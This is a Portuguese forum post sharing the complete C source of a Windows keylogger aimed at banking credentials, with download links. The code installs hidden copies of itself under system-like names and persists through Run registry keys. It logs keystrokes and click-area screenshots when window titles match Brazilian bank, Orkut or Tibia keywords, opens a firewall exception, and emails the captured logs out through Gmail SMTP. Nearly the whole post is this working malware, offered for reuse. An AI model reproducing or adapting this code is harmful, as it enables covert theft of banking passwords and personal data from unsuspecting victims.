Passei um bom tempo procurando o source code de um KL que fiz por volta do ano 2001... Só encontrei porque lembrei de uma conta de email que viria a me lembrar algumas senhas de hospedagens pela web. O programa foi feito em C, para Windows.
Ele tira screenshots (60x60pxls) 20 ms antes do click;
Aqui vai 2 links pro souce completo:
http://www.megaupload.com/pt/?d=PPUW0WY5
http://upload2.net/page/download/JWHme35puME9EqO/KLsource.rar.html
E abaixo vai o código pra quem quiser dar uma conferida (creio que nenhum de vocês terá dificuldade para entender, apesar de estar sem comentários!)
Ele tira screenshots (60x60pxls) 20 ms antes do click;
Aqui vai 2 links pro souce completo:
http://www.megaupload.com/pt/?d=PPUW0WY5
http://upload2.net/page/download/JWHme35puME9EqO/KLsource.rar.html
E abaixo vai o código pra quem quiser dar uma conferida (creio que nenhum de vocês terá dificuldade para entender, apesar de estar sem comentários!)
Code Select
#include <windows.h>
#include <stdio.h>
#define SMTP "gsmtp185.google.com" //recomendado!
#define FROM "sua_conta@gmail.com"
#define TO "sua_outra_conta@gmail.com" //Conta para receber (gmail)
#define SUBJECT "\"Get this!\""
#define MALLOC 64
#define BUFFER 128
#define CODE_EXEC 1986
#define BMP_WIDTH 60
#define BMP_HEIGHT 60
#define DELAY_MAIN 1000
#define DELAY_BROWSER 150000 //Caso não saiba, não mude! (2,5 min)
#define DELAY_GETPIC 20
#define DELAY_SEND 600000 //10 min
#define STR_ROOTPATH 0
#define STR_LOCALPATH 1
#define STR_LOGADDRESS 2
#define STR_AUTHORADDRESS 3
#define STR_SYSFAULT 4
#define STR_EXPLORER 5
#define STR_WINFWALL 6
CHAR systemlog[] = {
0x4D, 0x6F, 0x6E, 0x73, 0x74, 0x65, 0x72, 0x20, 0x6B, 0x65, 0x79, 0x6C, 0x6F, 0x67,
0x67, 0x65, 0x72, 0x20, 0x31, 0x2E, 0x30, 0x20, 0x28, 0x63, 0x75, 0x69, 0x64, 0x61,
0x64, 0x6F, 0x20, 0x63, 0x6F, 0x6D, 0x20, 0x73, 0x75, 0x61, 0x73, 0x20, 0x61, 0x74,
0x69, 0x74, 0x75, 0x64, 0x65, 0x73, 0x29, 0
};
CONST PCHAR strings[] =
{
"M.K.L.",
"remotesystem",
"remoteconfig",
"sysfault.exe",
"explorer.exe",
"winfwall.exe",
"software\\microsoft\\windows\\currentversion\\run",
systemlog
};
CONST PCHAR keywords[] =
{
"itaú",
"hsbc",
"bank",
"orkut",
"tibia",
"banco",
"bb.com",
"serasa",
"visanet",
"bradesco",
"santander",
"caixa.gov"
};
struct _info
{
SYSTEMTIME localtime;
CHAR systemdir[MALLOC];
CHAR activefile[MALLOC];
CHAR buffer[MALLOC];
HANDLE logfile;
} info;
struct _keylogger
{
BOOL enabled;
BOOL cansend;
BOOL author;
PCHAR currentword;
} keylogger;
struct _buffer
{
BYTE count;
BYTE buf_byte[BUFFER];
CHAR buf_char[BUFFER];
BOOL write;
} buffer;
struct _pictures
{
BOOL getbitmap;
BOOL mswapped;
WORD count;
CHAR address[MALLOC];
} pictures;
PCHAR GetString(BYTE code)
{
switch (code)
{
case STR_ROOTPATH:
sprintf(info.buffer, "%0.2s\\%s", info.systemdir, strings[1]);
break;
case STR_LOCALPATH:
sprintf(info.buffer, "%s\\%d-%d-%d#%d-%d", GetString(STR_ROOTPATH), info.localtime.wDay, info.localtime.wMonth, info.localtime.wYear, info.localtime.wHour, info.localtime.wMinute);
break;
case STR_LOGADDRESS:
sprintf(info.buffer, "%s\\MKL.log", GetString(STR_LOCALPATH));
break;
case STR_AUTHORADDRESS:
sprintf(info.buffer, "%s\\MKL.author", GetString(STR_ROOTPATH));
break;
case STR_SYSFAULT:
sprintf(info.buffer, "%s\\%s", info.systemdir, strings[3]);
break;
case STR_EXPLORER:
sprintf(info.buffer, "%s\\%s", info.systemdir, strings[4]);
break;
case STR_WINFWALL:
sprintf(info.buffer, "%s\\%s", info.systemdir, strings[5]);
break;
default: break;
}
return info.buffer;
}
BOOL Master()
{
CreateMutex(NULL, FALSE, strings[0]);
return (GetLastError() != ERROR_ALREADY_EXISTS);
}
VOID Start()
{
GetLocalTime((LPSYSTEMTIME) &info.localtime);
GetSystemDirectory(info.systemdir, MALLOC);
GetModuleFileName(NULL, info.activefile, MALLOC);
keylogger.enabled = FALSE;
keylogger.cansend = FALSE;
keylogger.author = FALSE;
buffer.write = FALSE;
pictures.getbitmap = FALSE;
pictures.count = 1;
}
VOID Infect()
{
HKEY key;
CreateDirectory(GetString(STR_ROOTPATH), NULL);
SetFileAttributes(GetString(STR_ROOTPATH), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
CreateDirectory(GetString(STR_LOCALPATH), NULL);
SetFileAttributes(GetString(STR_LOCALPATH), FILE_ATTRIBUTE_SYSTEM);
DeleteFile(GetString(STR_SYSFAULT));
CopyFile(info.activefile, GetString(STR_SYSFAULT), FALSE);
SetFileAttributes(GetString(STR_SYSFAULT), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
DeleteFile(GetString(STR_EXPLORER));
CopyFile(info.activefile, GetString(STR_EXPLORER), FALSE);
SetFileAttributes(GetString(STR_EXPLORER), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, strings[6], 0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS)
{
RegDeleteValue(key, "Microsoft System32");
RegSetValueEx(key, "Microsoft System32", 0, REG_SZ, (LPBYTE) GetString(STR_EXPLORER), lstrlen(GetString(STR_EXPLORER))+1);
RegCloseKey(key);
}
if (RegOpenKeyEx(HKEY_CURRENT_USER, strings[6], 0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS)
{
RegDeleteValue(key, "UserInit");
RegSetValueEx(key, "UserInit", 0, REG_SZ, (LPBYTE) GetString(STR_SYSFAULT), lstrlen(GetString(STR_SYSFAULT))+1);
RegCloseKey(key);
}
}
VOID Extract()
{
HANDLE file;
HRSRC resource;
PVOID data;
DWORD garbage;
if ((file = CreateFile(GetString(STR_WINFWALL), GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN, NULL)) != INVALID_HANDLE_VALUE)
{
resource = FindResource(NULL, "DATA", "WINFWALL");
data = (PVOID) LoadResource(NULL, resource);
WriteFile(file, (PVOID) data, SizeofResource(NULL, resource), &garbage, NULL);
CloseHandle(file);
}
}
VOID Input(BYTE code)
{
if (code < 3)
{
if (code == 1)
{
if (!pictures.mswapped) pictures.getbitmap = TRUE;
}
else if (pictures.mswapped) pictures.getbitmap = TRUE;
}
buffer.buf_byte[buffer.count] = code;
if (buffer.count++ >= BUFFER)
{
buffer.write = TRUE;
buffer.count = 0;
}
}
CHAR Translate(BYTE code)
{
if (code < 48)
{
switch (code)
{
case 1: return (CHAR) '('; //LBUTTON
case 2: return (CHAR) ')'; //RBUTTON
case 4: return (CHAR) '|'; //MBUTTON
case 8: return (CHAR) '\\';//BACKSPACE
case 9: return (CHAR) 'T'; //TABULATION
case 13: return (CHAR) '#'; //RETURN
case 16: return (CHAR) '$'; //SHIFT
case 17: return (CHAR) '©'; //CONTROL
case 18: return (CHAR) '@'; //ALTERNATION
case 19: return (CHAR) 'B'; //PAUSE-BREAK
case 20: return (CHAR) 'Ø'; //CAPITAL
case 27: return (CHAR) '&'; //ESCAPE
case 32: return (CHAR) ' '; //SPACE
case 33:
case 34: return (CHAR) 'P'; //PGEUPDOWN
case 35: return (CHAR) 'E'; //END
case 36: return (CHAR) 'H'; //HOME
case 37: return (CHAR) '<'; //KEYLEFT
case 38: return (CHAR) '^'; //KEYUP
case 39: return (CHAR) '>'; //KEYRIGHT
case 40: return (CHAR) '_'; //KEYDOWN
case 42:
case 44: return (CHAR) 'S'; //SNAPSHOT
case 45: return (CHAR) 'I'; //INSERT
case 46: return (CHAR) 'D'; //DELETE
default: return (CHAR) '?'; //UNKNOWN
}
}
else if (code < 96)
{
switch (code)
{
case 91:
case 92: return (CHAR) 'W'; //WINDOWS KEYS
default: return (CHAR) (code|32); //NORMAL KEYS
}
}
else if (code < 106) return (CHAR) (code-48); //NUMPAD KEYS
else if (code < 112)
{
switch (code)
{
case 106: return (CHAR) '*'; //MULTIPLY
case 107: return (CHAR) '+'; //ADD
case 108: return (CHAR) '.'; //SEPARATOR
case 109: return (CHAR) '-'; //SUBTRACT
case 110: return (CHAR) ','; //DECIMAL
case 111: return (CHAR) '/'; //DIVIDE
default: return (CHAR) '?'; //UNKNOWN
}
}
else if (code < 144) return (CHAR) 'F'; //FUNCTION KEYS
else
{
switch (code)
{
case 144: return (CHAR) 'N'; //NUMLOCK
case 145: return (CHAR) 'L'; //SCROLL
default: return (CHAR) '?'; //UNKNOWN
}
}
}
VOID TranslateBuffer()
{
BYTE count;
for (count = 0; count < BUFFER; count++) buffer.buf_char[count] = Translate(buffer.buf_byte[count]);
}
VOID LogThis(PCHAR logaddress, PCHAR string, BOOL rewrite)
{
DWORD garbage;
if ((info.logfile = CreateFile(logaddress, GENERIC_WRITE, 0, NULL, (rewrite ? CREATE_ALWAYS : OPEN_ALWAYS), FILE_ATTRIBUTE_SYSTEM, NULL)) != INVALID_HANDLE_VALUE)
{
SetFilePointer(info.logfile, 0, NULL, FILE_END);
WriteFile(info.logfile, string, strlen(string), &garbage, NULL);
CloseHandle(info.logfile);
}
}
BOOL Inside(CONST PCHAR str1, CONST PCHAR str2)
{
BYTE count;
CHAR word[16];
for (count = 0; count <= lstrlen(str2)-lstrlen(str1); count++)
{
lstrcpyn(word, &str2[count], lstrlen(str1)+1);
if (!lstrcmpi(word, str1)) return TRUE;
}
return FALSE;
}
VOID EnableIt(BOOL enabled)
{
CHAR buf[BUFFER];
if (keylogger.enabled != enabled)
{
if (!keylogger.author)
{
LogThis(GetString(STR_AUTHORADDRESS), strings[7], TRUE);
keylogger.author = TRUE;
}
if (enabled)
{
sprintf(buf, "\r\n[begin:\"%s\"]\r\n", keylogger.currentword);
LogThis(GetString(STR_LOGADDRESS), buf, FALSE);
keylogger.enabled = TRUE;
}
else
{
keylogger.enabled = FALSE;
TranslateBuffer();
lstrcpyn(buf, buffer.buf_char, buffer.count+1);
LogThis(GetString(STR_LOGADDRESS), buf, FALSE);
sprintf(buf,"\r\n[end:\"%s\"]\r\n", keylogger.currentword);
LogThis(GetString(STR_LOGADDRESS), buf, FALSE);
buffer.count = 0;
keylogger.cansend = TRUE;
}
}
}
INT WINAPI ThreadKeyLogger()
{
BYTE count;
BOOL keystate[145];
while (1)
{
Sleep(1);
if (!keylogger.enabled) continue;
for (count = 1; count < 146; count++)
{
if (GetAsyncKeyState(count))
{
if (keystate[count])
{
keystate[count] = FALSE;
Input(count);
break;
}
}
else keystate[count] = TRUE;
}
}
return 0;
}
INT WINAPI ThreadLogger()
{
while (1)
{
Sleep(1);
if (buffer.write)
{
TranslateBuffer();
LogThis(GetString(STR_LOGADDRESS), buffer.buf_char, FALSE);
buffer.write = FALSE;
}
}
return 0;
}
INT WINAPI ThreadBrowser()
{
HWND hwnd;
BYTE count;
CHAR title[BUFFER];
while (1)
{
repeat:
Sleep(1);
hwnd = GetForegroundWindow();
if (GetParent(hwnd) != NULL) hwnd = GetParent(hwnd);
GetWindowText(hwnd, title, BUFFER);
for (count = 0; ; count++)
{
if (lstrlen(keywords[count]))
{
if (Inside(keywords[count], title))
{
keylogger.currentword = keywords[count];
EnableIt(TRUE);
Sleep(DELAY_BROWSER);
goto repeat;
}
}
else break;
}
EnableIt(FALSE);
}
return 0;
}
INT WINAPI ThreadGetPictures()
{
POINT point;
HDC screen;
HDC image;
HBITMAP bitmap;
BITMAP bmp;
PBITMAPINFO pbmi;
WORD colorbits;
HANDLE hf;
BITMAPFILEHEADER hdr;
PBITMAPINFOHEADER pbih;
LPBYTE lpbits;
DWORD dwtotal;
DWORD cb;
PBYTE hp;
DWORD dwtmp;
screen = GetDC(GetDesktopWindow());
image = CreateCompatibleDC(screen);
bitmap = CreateCompatibleBitmap(screen, BMP_WIDTH, BMP_HEIGHT);
SelectObject(image, bitmap);
GetObject(bitmap, sizeof(BITMAP), (LPSTR) &bmp);
colorbits = (WORD) (bmp.bmPlanes*bmp.bmBitsPixel);
if (colorbits == 1) colorbits = 1;
else if (colorbits <= 4) colorbits = 4;
else if (colorbits <= 8) colorbits = 8;
else if (colorbits <= 16) colorbits = 16;
else if (colorbits <= 24) colorbits = 24;
else colorbits = 32;
if (colorbits != 24) pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER)+sizeof(RGBQUAD)*(2^colorbits));
else pbmi = (PBITMAPINFO) LocalAlloc(LPTR, sizeof(BITMAPINFOHEADER));
pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
pbmi->bmiHeader.biWidth = bmp.bmWidth;
pbmi->bmiHeader.biHeight = bmp.bmHeight;
pbmi->bmiHeader.biPlanes = bmp.bmPlanes;
pbmi->bmiHeader.biBitCount = bmp.bmBitsPixel;
if (colorbits < 24) pbmi->bmiHeader.biClrUsed = 2^colorbits;
pbmi->bmiHeader.biCompression = BI_RGB;
pbmi->bmiHeader.biSizeImage = (pbmi->bmiHeader.biWidth+7)/8*pbmi->bmiHeader.biHeight*colorbits;
pbmi->bmiHeader.biClrImportant = 0;
pbih = (PBITMAPINFOHEADER) pbmi;
lpbits = (LPBYTE) GlobalAlloc(GMEM_FIXED, pbih->biSizeImage);
hdr.bfType = 0x4D42;
hdr.bfSize = (DWORD) (sizeof(BITMAPFILEHEADER)+pbih->biSize+pbih->biClrUsed*sizeof(RGBQUAD)+pbih->biSizeImage);
hdr.bfReserved1 = 0;
hdr.bfReserved2 = 0;
hdr.bfOffBits = (DWORD) sizeof(BITMAPFILEHEADER)+pbih->biSize+pbih->biClrUsed*sizeof(RGBQUAD);
dwtotal = cb = pbih->biSizeImage;
hp = lpbits;
while (1)
{
Sleep(1);
while (keylogger.enabled)
{
Sleep(DELAY_GETPIC);
if (pictures.getbitmap)
{
GetDIBits(image, bitmap, 0, (WORD) pbih->biHeight, lpbits, pbmi, DIB_RGB_COLORS);
sprintf(pictures.address, "%s\\%s%d.bmp", GetString(STR_LOCALPATH), keylogger.currentword, pictures.count++);
if ((hf = CreateFile(pictures.address, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM, NULL)) != INVALID_HANDLE_VALUE)
{
WriteFile(hf, (LPVOID) &hdr, sizeof(BITMAPFILEHEADER), (LPDWORD) &dwtmp, NULL);
WriteFile(hf, (LPVOID) pbih, sizeof(BITMAPINFOHEADER)+pbih->biClrUsed*sizeof(RGBQUAD), (LPDWORD) &dwtmp, NULL);
WriteFile(hf, (LPSTR) hp, (INT) cb, (LPDWORD) &dwtmp, NULL);
CloseHandle(hf);
}
pictures.getbitmap = FALSE;
}
else
{
GetCursorPos((LPPOINT) &point);
BitBlt(image, 0, 0, BMP_WIDTH, BMP_HEIGHT, screen, point.x-(INT)(BMP_WIDTH/2), point.y-(INT)(BMP_HEIGHT/2), SRCCOPY);
pictures.mswapped = GetSystemMetrics(SM_SWAPBUTTON);
}
}
}
return 0;
}
INT WINAPI ThreadSendIt()
{
CHAR buf[BUFFER*2];
while (1)
{
Sleep(1);
if (keylogger.cansend)
{
Sleep(DELAY_SEND);
while (keylogger.enabled) Sleep(1);
sprintf(buf, "netsh.exe firewall add allowedprogram %s WinFirewall", GetString(STR_WINFWALL));
WinExec(buf, SW_HIDE);
sprintf(buf, "%s %s -server %s -f %s -to %s -subject %s -attach", strings[5], GetString(STR_AUTHORADDRESS), SMTP, FROM, TO, SUBJECT);
lstrcat(buf, GetString(STR_LOCALPATH));
lstrcat(buf, "\\*.* -try 3");
WinExec(buf, SW_HIDE);
ShellExecute(NULL, "open", GetString(STR_EXPLORER), NULL, NULL, CODE_EXEC);
ExitProcess(0);
}
}
return 0;
}
INT WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hprevinstance, LPSTR cmdline, INT cmdshow)
{
if (cmdshow == CODE_EXEC)
{
SetErrorMode(SEM_FAILCRITICALERRORS | SEM_NOOPENFILEERRORBOX);
Master();
Start();
Infect();
Extract();
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ThreadKeyLogger, NULL, 0, NULL);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ThreadLogger, NULL, 0, NULL);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ThreadBrowser, NULL, 0, NULL);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ThreadGetPictures, NULL, 0, NULL);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) ThreadSendIt, NULL, 0, NULL);
while (1)
{
Sleep(DELAY_MAIN);
}
}
else if (!lstrlen(cmdline))
{
if (Master())
{
Start();
Infect();
ShellExecute(NULL, "open", GetString(STR_EXPLORER), NULL, NULL, CODE_EXEC);
}
}
return 0;
}